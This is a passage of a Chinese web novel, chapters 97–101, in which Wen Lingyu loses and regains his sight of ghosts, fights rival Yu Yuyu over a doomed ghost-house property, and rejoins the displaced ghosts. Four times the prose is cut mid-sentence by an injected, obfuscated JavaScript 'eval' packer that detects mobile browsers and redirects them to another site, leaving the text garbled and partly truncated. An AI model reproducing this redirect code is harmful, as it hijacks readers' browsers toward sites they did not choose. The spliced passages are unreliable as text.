温令羽点点头，从住持口中就知道了。 小僧轻轻叹了口气，没有多言，只道：“大师下山要寻一个人，说要弥补他的错误，事成之后就会回来。” 片刻之间，温令羽懂了他的意思。 97.致命讯息 “他有说要去找谁吗？”温令羽心里其实已有了人选，实际上心里并不希望这个人选成真，所以他问了。 要真是余与域，大师是否会和他一伙，他的胜算又会少了一分。 温令羽问也是白问，小僧还没到和大师谈论去向的份上，知道大师走了仅仅是他看门，见大师要离开问了一嘴。 与其主动在茫茫人海中寻找，不如安心在此处等待，他必然是要回来的。 温令羽对小僧说的这个建议很心动，仅是到心动这一步停止。 可要是让温令羽什么都不做干等，凭他对自己的了解，是不行的，即使在如此安神静气的地方同样毫无作用。 所以没有采纳，第二天雨停，温令羽就下山了。 坐以待毙不是他的风格，怎么样也得试一试，找一找。 下山后，温令羽直奔鬼小馆，出去了一趟回来看看，一切会不会又变了回去 目光所及之处，没有熟悉的建筑和鬼魂，依旧是一片废墟，哪怕是曾走过无数次，借肌肉记忆都能去到的地方。 却依旧不再是记忆里那个样子。 “上面的那个小伙子！你爬这么高干什么？快点下来！”废墟底下有个人对着上面喊，语气很着急。 温令羽被这声音吓了一跳，差点从楼梯上踩空，对方也看到了，急冲冲地跑上来阻拦他往上走，嘴里不断叫着，“珍爱生命，别去危楼。” 担心引过来更多的人，温令羽只好从上面走下来，不断和他解释自己不是为了寻死。 一旦对方细问，温令羽又说不出个所以然来。 对方更加不信，一定要亲眼看温令羽下到一楼才松口气。 一楼总不会出事吧。 “不寻死也不要跑这么高，很危险的。”对方担心地说着，这是还未建好空置了好久的房子，可能哪里就没装好，很容易出事。 说是说相信温令羽不来自杀，但手却牢牢抓紧他，对方不把温令羽送离这一块地方不罢休，温令羽只好跟着他一起走。 这还是温令羽第一次在这里遇上其他人，原来，鬼小馆在常人眼中是看这个样子的。 还好他晚上过来时方圆几里都没有人，要不然肯定会把别人吓一跳，以为是自己见到鬼了，毕竟没有人会大半夜跑到这里来自言自语。 “救”他下来的大叔边拉温令羽，还说要带温令羽去他家吃一顿谈谈心。 大叔是误会温令羽无家可归，才跑这里来住。 面对如此热情，温令羽实在是招架不住，也意识到大叔搞错了，借口道：“我还有事。叔你看，我车还在那呢。” 车是温父配的那辆，拿得上台面，温令羽看着也不像是受了磨难要死的那种，大叔也不再强拉着温令羽去他家了。 “别嫌我烦，昨天刚出了事，挺年轻一小伙子就这么走了。”大叔说起昨天的景象，心脏都不由得紧一紧。 在大叔的口中，温令羽渐渐拼凑出前因后果来。 近两年市区的房价越涨越高，而仅仅差这么点距离的片区却迟迟得不到开发，如此好的地荒废在那里，大伙都不由得觉得可惜，甚至骂管事的不作为。 被骂的自己也觉得很愿望，地是很早就落到别人手里，每年该交的钱一分不少的交。 他们只好善意地提醒过，但人家自己的地盘说不开发就不开发。甚至还把之前该赔偿的钱一分不少的赔了。 积极交钱，积极赔钱，当事人都被捂嘴了，其他人也不好出头，只能感慨大老板人傻钱多。 但知情的人就这么几个，渐渐地很少去谈论。 后来，不知道是谁传出来的消息，说要这片区要重新修建卖房，马上废墟就成了香饽饽，不少人悄悄找门路想以低价入手一套，昨天出事的小伙子就是其中一员。 很快当事方公司立马出来辟谣，大伙这才知道遇到了骗子，钱都进了骗子口袋里。小伙子承受不了这么大的打击，就从这里跳了，没隔多久，另一位受害者也效仿他。 大叔唏嘘不已，他家离这里近，有空就转过来看看，想着能救一个是一个，“他们都是苦命人，但是好死不如赖活着，事情还没结果呢。” 温令羽被惊得说不出话来，短短几日，竟然发生了这么多事。 而握着资源不开发的当事人不正是自己吗？ 很快，大叔又爆出了惊天消息，正中温令羽头顶：“还好，现在上头出面，明说这一块不能在荒废下去了，很快这里就要被拆掉了。” 听到这话，温令羽回头看这片地。 他在鬼小馆的记忆顿时全部涌了上来，理智上告诉自己这片“安然之地”很快就要不复存在了。 他食言了，不仅没有保护小鬼他们，也没有保住鬼小馆。 突然，温令羽的电话响了，界面显示的号码表示对方是座机，区号显示的是市区的，温令羽似有所感的接了起来。 “请问是温令羽先生吗？我们是土地局的。” 预感成了真，温令羽应答：“我是。” “我们在你家门口，现在不在家吗？”是敲门没反应，才打来的电话。 要是电话也联系不上，他们会试图联系温令羽的父母，还好是通了，不然闹到温父那里，绝对又是大件烦心事。 温令羽将自己的所在地告知了对方，人家就是为了这事打来的，双方都清楚这个电话的用意。 “温先生，那下周一我们再见。” 电话上不能谈全，就另约了一个时间，让温令羽亲自去局里，仔细谈一谈开发的问题。与其说是聊合作开发，不如说是收购，彻底要把温令羽踢出局。 他真的让这块地荒了太久，上头不能再睁一只眼闭一只眼了，不然出了事谁也担不了责任，何况现在闹得动静一点都不小。 对方早就得到了指示，直接找上门又语气强势，一点都没想过会有被拒绝的可能。事实上也对，温令羽没有拒绝的选项。 但要说开发一定是不好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304445|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事，倒也未必，余与域在接到消息后，主动打电话要求和温令羽一见面。 温令羽突然想到，余与域在此之前还是躲着他的，如今完全换了一副样子，态度转变得很快，想想就好笑。 眼下他丝毫笑不出来，他的脑子很乱，心却看得很清楚——余与域能处理好所有。 他或许能保住鬼小馆，或者给鬼魂另一个安定生活的环境，鬼小馆老板这个职位更适合余与域…… 两个人的碰面很快到来，温令羽对余与域先开口：“你的电话来得很及时，如果今天不是周末的话，我已经坐在土地局的办公室里了。” 先出声拿到主动权，但余与域却毫不在意。 余与域莞尔一笑，无情的话语打破了温令羽最后的幻想和希望，“没关系，因为我也会去一趟局里，我的东西自然是我自己去谈。” “你要把他们全赶走吗？”温令羽很生气。 因为开发，余与域可以不费吹灰之力拿下鬼小馆。 余与域读懂了温令羽话里的意思，没有隐瞒，笑得猖狂：“不用生气，因为我已经把他们都赶出去了，就在昨天。鬼小馆全部空了，不用担心开发会让他们没地方去，他们已经在流浪了。” 语气听起来特别骄傲。 温令羽说不出话来了，良久后才找回了自己的声音：“那你找我是为什么？” 余与域同情地看着温令羽，和余辛一样的年纪却遇上了这些事，“其实我觉得你应该感谢我，是我让你又回到了本来的生活。当然我不需要‘谢谢’，你将鬼小馆的资产还给我就行。” 将不要脸发挥到极致。 还幻想能聊到一块去。 温令羽恨不得给昨天答应见面的自己狠狠一巴掌，他从位置上站了起来，深深吸了一口气，平复了激动的情绪，不让自己一拳打到余与域脸上。 然后转身离开了这个让人窒息的地方。 “这本来就是我的，是那个老头子使用诡计把一切抢走的，而你，不过就是他选中的工具而已，我要拿回我自己的东西。”余与域的声音在身后响起，生怕不够重，继续增加筹码，想让温令羽相信他的话，“那张符纸就是青山庙的大师让我纠正错误用的，纠正这一切的错误……” 再后来的话温令羽没听到，包厢的静音很好，关上了门里面无论吵得多凶外面都听不到，而且余与域全程保持绅士风度，不会大声地叫。 至于他说的话，无非就是他想从精神上击垮温令羽的方式，温令羽当然不会上当，也不会放在心上。 温令羽快步地离开了，对于后天的见面，心里总有一种不好的预感。 温老不在、晋叔也不在，他身边的都不在。 直到上了车，温令羽锁了门才缓了过来。 电话铃声又响起来了，温令羽心跳都慢了半拍，他这俩天接的两个电话都快把他整个人搞垮了，如果再来一个，快要对这铃声产生心理阴影了。 这通电话救活了他。 98.空手套狼 “阿羽，抱歉。” 接通后，这是温令羽听到的第一句话。 可这声抱歉，却来得没有来由，温令羽有些摸不着头脑，“怎么会这么说。” 宋时盛最近和余氏走得很近，对于他的动向抓得很紧，因而对于余与域来找温令羽的事，或多或少传进了宋时盛的耳朵里。 信息来源并不光彩，所以两人心里知道没有明说。 宋时盛是在为那天在公司的事抱以歉意，但他的做法可以理解，温令羽也没有怪他，而且凭借对对方的了解，宋时盛是不会只因为这件事打来电话。 所以，温令羽直接问了：“只为了这个吗？” 要宋时盛不说，温令羽就要挂电话了。 “不能含蓄一点吗？”宋时盛选择直说，“那片区的开发我们宋氏也想加入。” 能打听到余与域来找他，自然也能知道那块地在温令羽的手上。 温令羽没有立马回答，对话瞬间沉寂了下来。 宋时盛感觉到气氛逐渐变得压抑，赶紧接上句：“阿羽，我虽然不知道你瞒了我什么，猜到过可能和这块地有关系，你或许不想把它卖掉，和我合作是不会让你吃亏的。” 作为相处这么久的朋友，宋时盛当然发现温令羽的不同，完全和高中变了个样子，时不时就去一些莫名其妙的地方。 可能还更早，比如温寻，他几乎是能感觉到自己是被推着走的。 要说更近的话，温令羽突然来到他的公司，和他的员工说了那些话，就在突然间解锁了算命的技能。 一切的不对劲，他都看在了眼里。 包括刚听说温令羽手里面竟然有这么大一块地，还是早荒废在那里的时候，他就猜到了里头肯定有大文章。 宋时盛迟迟听不到温令羽的答复，说道：“凭你自己是保不住的，交给我们，公司会派更专业的人去谈，绝对不会让你吃亏的。” “百利而无一害，确实是稳赚不赔的买卖。”温令羽毫不留情地道破宋时盛的想法。 保护一个没有人会理解的群体，说出去也只会被当成疯子，说成臆想。 宋时盛叹了一口气，做出了妥协：“要是真的不愿意它开发，我可以努力，保护它一段时间。” 地在温令羽的手上，一个人是对抗不了的，几乎是少不了被开发的命运。但要是宋氏去谈，确实可以拿回主动权。 至于负责辟谣的那公司，都是每一届鬼小馆老板留下来的，说是公司其实还算不上，只是负责执行老板的命令，几乎没什么用处。 所以，温令羽听到宋时盛的承诺，眼睛都睁大了，说道：“你知道你在说什么吗？” “我知道。对于开发方案，你拥有决策权。”宋时盛进一步解释道，“要是你真不想开发，只要能说出理由，不会强制开发的。” 这也是宋氏能给温令羽的承诺，说服温令羽的最后筹码。 确实是摆在温令羽前面的退路了。 也给了温令羽时间，把能力找回来的时间。 宋氏准备得相当全面，早早就拟好了合同，隔天就让温令羽带上葛大哥给他的一系列文件去的宋氏大楼。 宋时盛亲自来楼下接的温令羽。 “我爸在会议室等你，他可能会临时变卦。”宋时盛掀老爸老底来一点都不含糊，“但是你只要一口咬定没法改，他就会妥协的。” 温令羽哭笑不得：“你这么说你爸知道吗？” “当然不知道了。”宋时盛还是当初认识的那样，“你肯定也考虑过我的关系才来的，我说了不会让你吃亏的，反正合同拟好了，你就强硬点。” 宋父宋母很少陪在宋时盛的身边，但给他的从来不少，所以他很少有顾忌什么。 宋时盛送温令羽到会议室门口，让他自己进去。 这是一间小会议室，里面只有宋父和他的助理两人，没有给温令羽压力。 就像是一位熟悉的伯伯再一次见面的感觉，只有亲切和温暖。 “宋叔叔。”温令羽先问好。 助理示意温令羽坐在宋父对面的位置，提醒到这一次他们是平等关系来谈合作的。 温令羽接了合同翻开来看，该给的一点都没少，但对于宋时盛说的唯一让他心动的点，却没有写在上面。 所以，温令羽没有再往下看，说道：“这上面和说好的不一样。” “小盛没有和我商量过乱说的，当然是尽快开发更好，开发后所得的收益我们都可以再分，不会让你吃亏的。”宋父说道。 不过被他亲儿子预判了。 温令羽摇了摇头，不愿意妥协这一点：“如果是这样的话，我觉得我明天去局里谈也是一样的，他们给的肯定不少，不会让我亏的。” 双方僵持了很久，再加上温令羽的期限摆在那里，宋父先一步妥协了。 “我的好儿子啊。”宋父无奈地自嘲笑笑，转头对助理说道：“去把另一份拿过来。” 助理点点头，从会议室里出去了。 温令羽的目光顺着他出去，宋时盛还站在门口等，他注意到温令羽的视线，对他笑了笑。 宋父也看到了站在门口的人，叫他一块进来。 “我就不应该让你去接。”宋父对宋时盛抱怨道。 宋时盛吐吐舌头，继续拆台：“最近哪有时间和钱啊……怎么样也得把在余氏的投资拿回来之后吧。” 宋氏大笔的钱都投在海外，之前和温氏的项目拖了很长时间才正式动工，国内的项目可动的资金不多。 所以每一个项目选择都慎之又慎，必须得保证回本了才能继续进行下一个，拆东墙补西墙不能治本，只能让资金没有缺口。 温令羽觉得此刻不应该待在这里，宋父也是气得又把宋时盛赶了出去，免得他嘴里不把门又说出些什么，让他头疼。 签完了合同，温令羽就把谈判的项目全权交给了宋氏，明天他约好的局可以不用去了。 宋时盛送温令羽出去，邀请：“要不要庆祝一下？吃一顿。” 宋氏的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320863|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没到账，而且他也有其他安排，温令羽便以此为借口拒绝了，“我身上可没钱，不去。” 只好另约其他时间，宋时盛把温令羽送上车，向他道别。 温令羽坐在回家的车上，迷茫地看着路边的景物后退，在思考自己的路究竟在哪里。 那位大师到底去哪了？ 不然，拿着一张口头支票去打个幌子，万一能把他骗出来呢。 想到这里，温令羽让司机调转方向去余氏的大楼，现在还没有到下班时间，余与域肯定在公司里。 这一次去，前台没有拦住他，反而特别热情地送温令羽上楼，贴心地按好楼层。 “余总发了话，要是您来找不需要再拦。”小李微笑着目送电梯门关上。 前台也是迅速把温令羽到来的消息传到上面，电梯一出来就有人来接温令羽，把他亲自带到余与域的办公室。 还敲了敲门，对温令羽说道：“余总就在里面等您。” 待遇完全转换了，看来余与域很有把握，温令羽会主动上门找他，也会答应他的要求和条件。 “我就知道你一定会来，安排得怎么样。”余与域说道。 温令羽心里不断吐槽，他此次来确实带了合同，只不过已经没有效力了，完全就是几张废纸，拿来骗不知情的余与域正好。 余与域见温令羽拿着东西迟迟不说，但心情看着挺好的样子，不由得心里警惕起来，但很快又把这些想法推翻。 一个小孩能翻什么天。 温令羽抢先说：“你把大师藏哪了？” “我没有藏，只是给他安排了住处而已。”余与域可不背黑锅，是大师找上来，他感谢大师帮助给了援手而已。 温令羽将文件重重拍在余与域的办公桌上，“我要见他。现在。” 要是再晚一点，让余与域的人知道他去了宋氏，一定会坏事，他得快。 余与域坚信温令羽翻不了天去，打了内线让人请大师过来，随后示意助理好好招待温令羽，才看向温令羽说：“那就请温先生好好等一等吧，很快就能见到了。” “好的。”温令羽目的达成，主动把手松开，空着手和助理出去，到门口前他突然转身，“这仅仅是副本，原件还在我家。” 余与域丝毫不在意，说道：“好的，谢谢提醒。” 温令羽被带到休息室，助理听余与域的话，吃的喝的一样没落下，招待得很好，就坐在温令羽身边办公，生怕他跑了。 不过温令羽一直数着时间，一个小时后，休息室重新进来另一位助理叫他们。 都不用温令羽提，和大师见面的地点没安排在余与域的办公室，唯一烦恼的，在他的隔壁。 大师一见到温令羽，激动地从座位上站起来，“他没有骗我，真的带你来见我了。” 原来是用温令羽来留下大师的。 温令羽在心里把余与域从头到尾骂了个遍，短暂平复了心情后，还是抑制不住：“大师有话要对我说，我也找大师很久了。” 99.短暂回归 出乎意料的是，大师非常信任余与域，哪怕是温令羽说余与域会监听他们的对话，他依旧不在意，甚至认为他们所谈的这些事是可以当面说的。 是他费尽心思求见，所以只能就这么开诚布公地讲了。 “余与域利用符纸对付我，你是否知情？”温令羽直接问了。 大师点点头，符纸确实出自他手，符纸的用处他也清楚。 温令羽不由得后退几步，他忽地感到一阵心凉，或许是真的押错了宝，不应该系希望在其他人上面。 又联想到小僧说的话，作出了自己的猜测：“所以，你下山要纠正的错误，是我。” 如此一来，好像也说得通了，只是他说服不了自己。 “不是。”大师听后一口回绝，与温令羽充满困惑的眼神对上，他做出了解释，“几月前，温老先生曾上门拜访我，恳求我能阻拦余先生，一时心软下我答应了。” 温老竟然去找过大师，但大师怎么能看见？ 这句疑惑在心里头一出现，大师就悟出了，“没有，我算出来的。” “几个月前？”温令羽猛然一惊，他的记忆回到了温老回老家之前，当时他的画像还没被烧，温老说过要是发生什么事要去青山庙。 原来在那时，温老就已经去见过一面。 大师接下来的话应证了温令羽的猜测，只不过又有偏差，他死都想不到竟是为了他，才闹出了这些事情来。 三叔公掌管温家后力排众议修缮祠堂，温老是为了他的画像必须要回去一趟，而那时温令羽正深陷于家兄妹的风波当中，丝毫不知道余与域的危险就在不远处。 于是，温老在出发前特意去了龙青山，可他上不去，好在大师算到了这些，下来见他。 “帮他有很多种，你开始就走错了路。”大师是来奉劝温老回头。 而温老是来找帮凶的，他装作没有听到这些话，仅仅围绕着一个话题，“他只是一个孩子，他什么都不知道，不应该承受这些。” “你忍心让一个孩子白白去死吗？”温老清楚若是余与域的能力早日恢复，一切都会变成原样，温令羽所承担的因果最终只能用死亡来抵消。 大师面露不忍，温令羽什么都没图、或者说什么都没能图到，最后落得个凄惨致死的下场，不是他想见到的样子。 “是你把他卷进其中的。” “我认，该死的人是我，不是他。” 大师陷入了沉思，脸上满是纠结的神色。 见到这副表情，温老知道了此事还有转圜的余地，继续求情：“大师慈悲为怀，仅仅只是拖延一点时间，让他把这场因果消弭掉，一切都会回到正轨。” 只是拖延一点时间，其他什么都不用做，很简单的。 温老的话带有诱惑，大师在还没反应过来之际就应下了。 于是余与域他的能力直至余辛消失后重新恢复，却因此激怒了这位思念儿子想见儿子的父亲，里面有他的手笔，必须要下山有一个交代。 说是要对温令羽说，可却没有把两人的对话一字不差地讲，组织概括一下就刚刚好，效果一样能达到预期。 温令羽听完所有，才知道温老短短那一句话背后做了多少的努力，也没了刚开始想追责的心思。 大师满意地点点头，才缓缓地询问温令羽来找他的用意。 温令羽其实不理解为何余与域的能力回来了，而他的就要消失，更何况在他的眼中，完全是被迫的，是因为大师的符纸。 既然要问他，他就索性真来要个答案。 “余总让我们来问一问，马上就要下班了，两位聊好了吗？”余与域的助理进来催人了，本来就掐着点，也不能让他们一直聊。 被打断了之后，温令羽不受影响继续看着大师，但是大师却像是刚反应过来，不想再接着说了。 一句“说太多了。”就止住了话。 温令羽急着差点要上前去拉他：“你也不差解释这一点了吧？” “变得和其他人一样，你不欣喜吗？”大师疑惑地问。 温令羽冷静不了，自从他失去能力后，鬼小馆里的游荡众鬼魂被驱逐，马上鬼小馆就要被拆掉了。 没忍住一股脑全说。 大师从袖子里拿出一张符纸，递了过去，“不知道会保持多久，但是先用着吧。” 如此轻易就能得到？ 难以置信，温令羽接过来时手都是抖的，还是大师直接塞他手里。 “怎么用啊？”温令羽将东西收下。 敢情还要一步一步教，大师无奈地叹口气，将用法仔仔细细地教给了温令羽，一点步骤都没落下。 虽说不解依旧存在，但是能够先把能力恢复，比任何都重要。 温令羽达成了目的没再多留，开门出去正好撞上余与域过来，余与域胸有成竹，不认为温令羽能摆他一道。 可看到温令羽直接去电梯间，一点都没打算回他的办公室拿回他的东西，叫住了他，“你是不是忘了什么？” “没有啊。”温令羽着急走，早就忘了之前还把东西扔在余与域的桌子上，毕竟全权交给宋氏东西已成了一堆废纸。 走得相当干脆利落。 温令羽拦了一辆出租车要回去，看着车缓缓过来，后知后觉抬手一看，空的。 怪不得手里轻轻的。 偏偏还不能再回去了，余与域肯定有所怀疑，去查里头的门道了，回去就是自投罗网。 等到了家，温令羽按照大师所说的步骤，再等个一晚上就能好。 这两天压力大，特别是到了晚上更加心事重重，以至于一放松下来就抑制不住睡意，头靠上枕头就睡着了。 温令羽是惊醒的，他还在自己的卧室里，担心符纸不应验，遂闭上了眼睛给自己一点反应时间。 再一次睁眼，整个房间里还是和原来一样。 甚至家里面都没有温老的身影，温令羽急得夺门而出，在楼梯拐角蹲着一只小鬼，他一见到温令羽就要落下泪来。 “你什么时候才能看到我啊！”小鬼守在这里很久，这句话都快成了他的每日一问。 温令羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328576|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可置信地回头，看着小鬼说道：“我又能看见了。” 恍如隔世的感觉。 小鬼控制不住，一下扑到了温令羽身上，“这段日子真的好难好难。” 余与域几乎是控制了这个城市的所有鬼魂，把他们全都赶了出去，只留下了自己身边的。 小鬼因为提早被温令羽安排进去，在林润的保护下，能来和温令羽通风报信。 发现温令羽看不到听不到他的时候，天都要塌掉了。 他只能眼睁睁看着温令羽出门，然后灰头土脸地回来，就知道他一无所获了。 每一次努力都看在眼里，依旧是看不到在角落里的小鬼。 “我都不敢出去，余与域手下的一直在赶，在这里不容易找上来。”小鬼躲在居民楼里，不至于这么早被抓。 幸好温令羽的家楼层也高。 温令羽领着小鬼进门，安慰他：“有我在，他们不会抓走你的。” 小鬼自信心被这些天消磨得所剩无几，无精打采地说：“要是你又变回去了，我叫破喉咙你都帮不了我。” 温令羽被说的脸红，干脆就不说话了。 等小鬼情绪平复下来，想起了鬼小馆其他鬼魂，没敢在耽搁，“那个老头也走了，他们带领所有鬼魂走了。” “余与域放话，鬼小馆所有不允许留在这个城市里。”小鬼还记得余与域发号施令的内容。 温令羽面色变得沉重起来。 小鬼将这些天自己身上的压力全分了出去，“这些天我还听人说，那块地要拆了。他们还不知道呢。” “他们被带到哪里去了？”温令羽要先和大部队会合。 小鬼摇摇头，得到消息后就去过，但已经晚了，他们早就离开了。 “我已经尽力了，本来就不熟。”小鬼前一句还很大声，后一句仅仅嘀咕了一会，温令羽都没听清楚。 温令羽要去找温老，可外面抓捕得紧，他想让小鬼留在家里。 “要不，你还是留在……” “不要！我和你一块去。” 小鬼抗拒把他单独留在这，温令羽同意了带上他一起，同时他也很担心安全问题：“你就待车上吧，别出去别被看见。” 温令羽自知人鬼有别，小鬼被抓走，他除了看着什么都做不了。 事实就是这么残酷。 温令羽开着车，从上车起就在和小鬼说小心，去鬼小馆的一路上就没停过。 但讲得次数多了，小鬼耳朵都快听起茧，烦了，“我知道了。万一我的卧底身份没泄露，别太紧张。” “为什么这么说？”温令羽光听一路艰辛，没听他到底咋蒙混过关的。 小鬼是被林润放跑的，只不过林润是根据余与域的指示执行的，“余与域看自己手下的都烦，一不做二不休就把底层的小喽啰一起打包赶走。” 自然就从敌方阵营出来了，还是光明正大的。 到了鬼小馆的地盘，小鬼完全把话当成了耳旁风，进到里面跟撒了欢似的。 “这里是不是提示啊？” 100.不管累赘 【回去。】 温老带着一大家子回老家去了，又担心余与域手下的认出来，还特意用了方言。 还好老家离这里很远，方言足够偏门，哪怕是明摆在那里的提示，不是当地的也认不出来，只能当个鬼画符。 温令羽解锁出来讯息后，准备启程去老家。 小鬼以为是要回他和温令羽初遇那，有些犹豫，他对那里的记忆全是不好的，若非必要，是真的不想再回去，也不想长久待在那。 “不是。”温令羽向小鬼好好科普了地区的差别，安慰他放宽心，“是我的老家，小时候很长一段我都住在那。” “那我知道了，因为我小时候就是一直住在那城中村，邻居朋友都很好。”小鬼想起生前的事就高兴，“只是我死后就被拐到人生地不熟的地方。” 温令羽深知小鬼现今的情况，与他相关的人已经死了，那条线彻底断掉，他只能被迫留在这个人世间。 想安慰他的话不知道该从哪说，小鬼人小机灵，还反过来给温令羽拍拍，“我能认识你，超酷的好吗？” 温令羽非常不解，他有做什么吗？ “做卧底，当英雄。”小鬼还是孩子年纪，都有一个拯救的梦。 他们很快踏上了和温老回合的路，恰好和上门兴师问罪的余与域来了个错过。 前脚刚到高铁站赶早班车，后脚余与域的手下就围了他的家。 两者几乎是同时的。 至于余与域的电话，温令羽早早就拉黑了，出发前还把手机调成禁止陌生人来电，杜绝了余与域能联系上他的所有方式。 一路平静安定地回家。 只不过，在他踏进家里面的时候，一切安定荡然无存，谁能告诉他，为什么他的家里像是刚经历了战争。 家里的本来物品是动不了的，但他们自带的可以随便放，其他人看都正常，温令羽感觉他家成了垃圾场。 “限你们一个小时，给我全部打扫干净。”温令羽大声吼道。 为首的温老几个听到动静，纷纷从里面走出来。 温老发现温令羽恢复了能力，不由得松了口气，紧接着招呼大伙把家打扫干净。 里面是谈不了事情了，温令羽便要前进往后花园走，被温老拦下了，“家里太小住不下，所以花园也被征用了。” 在温令羽皱眉前，酒保赶紧上来打圆场，“我们出去吧，外面可以谈事。” 温令羽关心鬼小馆所有人员的安置情况，他问：“现在情况怎么样？家里能住得下吗？” 言外之意是想问还有没有沦落到睡天桥的份上。 “大家不挑剔住处，有个能安身的地方就行。”晋叔住在鬼小馆的时间最长，最懂里面的名堂，“所以我们不一定非要住回以前的地方。你看，我们把研究所的物资都带出来了。” 知道是晋叔安慰他的话，担心他过度自责反而是不好。 温令羽深深感动，开始讲这些天遇到的事，听到他真的失去了能力，在场的无不倒吸一口凉气。 “那现在如何？” “鬼小馆真的要拆掉了？” 晋叔和酒保均有疑惑，温令羽先让晋叔放宽心至少现在无事，至于鬼小馆的问题。 终是选择了据实相告，瞒不了多久的事就没必要了。 虽然大家在走前，已经做好了放弃它的准备，可真要眼睁睁看着住了好些年的家轰然倒塌，还是掩饰不住难过。 晋叔是里头最伤心的，但也是最快缓过来的，还能苦中作乐，“还好住得久的能走都走了，不然肯定一哭二闹不让拆。” 温令羽在心里暗暗保证会给他们重新找一个安定的地方生活。 不过眼下宋氏那笔款一时半会儿没法到位，还真不能随处建一个，因为哪哪建房都要有批复的。 违规建筑迟早要再拆，可能还得吃罚款。 眼下里面的大群还等着安顿，在场的都犯了难，这么多到底怎么才能安排好呢？ 没人没鬼出声，酒保想了想，主动站了出来。 有一个决定是他们做的，不过没有鬼魂敢主动提，要不是酒保时时和他们待一块，可能也不能知道。 “除了个别几个没地方去的，剩下的都是新来的，他们本来就是有家的……”酒保的话点到为止。 晋叔皱了皱眉头，反问酒保，“是他们自己要走？还是你的主意？” 两者之间的性质不一样。 酒保回答了是前者，大多数只是被吸引过来在当地没地方可去，他们的家在外地而已。 一开始不愿意说，蒙混过去只是想留在这里蹭资源，等到了出事，又害怕这么做会被说成是在落井下石，他们可不会落他人口舌。 听过酒保的一通解释，大家也都明白了。 小鬼本来是跟在温令羽身边旁听的，但眼下这个话题他不想再保持沉默，说道：“那你们不如去问问他们，不然想破天了也没用。” 这话在理。 温老晋叔两位老先生全都认可，就进去召集问了，温令羽就这么落在了后面。 “你会觉得他们走是在落井下石吗？到时候余与域打上来，你这边可是远远打不过的。”小鬼能想到这一层面。 温令羽摇摇头，“我不会。说句不好听的，我觉得他们走了是在给我减负。” 本来就没打算和余与域赶上一架，不然也不会让小鬼进入敌方阵营动之以情晓之以理，想着要策反对面了。 因此温令羽并不在意多不多的，只是他们走了，他的祈愿任务就是完成得艰难，不比在身边容易。 “这么上心？” “事关我自己的性命，我很惜命的好吗？”温令羽可不想再来一次接近死亡的体验，太不好了。 说话的功夫，他们已经走到了门口，门留了一条缝隙，声音能从里面传出来。 在酒保问出来的时候，回应他的仅是持续一会儿的杂乱，一下子又都安静下来，没有鬼魂肯第一个发表看法，只是用沉默代替。 还有一些在趁乱站队，“走什么？大家一路过来这么辛苦，就受不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“后果和风险倒是一点不差，全盘接收。”酒保的话来得扎心不已，丝毫不顾及温令羽的心理承受力。 在温令羽出口前，酒保终于说出来了前面所有的用意：“所以，我将你老板的位置撤掉了，给了余与域。” 这还能中途撤职？ 现实中还得付赔偿金，到这直接一声不响给你撤了。 “我是你师傅选出来的，你没资格撤销我的职位，况且资产还在我……”温令羽总算是知道余与域这么有底气是哪来的，还口口声声说是他的东西，“他来找我要，是你授意的？” 酒保点了点头，是他和余与域说的，所有的合同文件全在温令羽那里。 只有当上酒保还有老板本人才知道，那份文件上面压根没有名字，写的是持有文件者。 “你师傅是真给我选了个好帮手啊……”温令羽看着酒保的眼睛没有一点温度，话里也满是嘲讽。 幸好，温令羽改过了，重新以所有者的身份拟过了，真正归温令羽本人所有，写上了大名。 温令羽这个行为不是特立独行，每一任鬼小馆老板都会这么干，只不过在临死前都会改回来，而酒保站在交接新旧老板的位置上，拿到的自然死前这一份。 没有一起商量过，却不约而同选择了同一种做法。 酒保意识到是温令羽误会了，“这样你就不用再管我们这帮累赘了。” 101.背叛与否 “我不需要代替我做决定……”温令羽内心掀起惊涛骇浪，面上确实没有显露出来，不过不想再谈的意思摆在了明面上，酒保擅自做主，自知理亏。 双方僵持在这里，小鬼在里面晃了一圈没看到温令羽，就特意出来找他的。 边找还边喊：“温令羽，你在哪？没想到你家还挺大的。” 小鬼是第一次来温令羽的老家，对一切都十分好奇，而且家装修得特别大，是周围两家的总和。 温令羽回应小鬼的声音，然后眼神示意酒保既然无事就可以走了，他们几个还有事要说。 “你和他怎么了？”小鬼和酒保擦肩而过，酒保对他的友好视若无睹，快步地离开了此地。 温令羽一时不知道该从哪里说起。 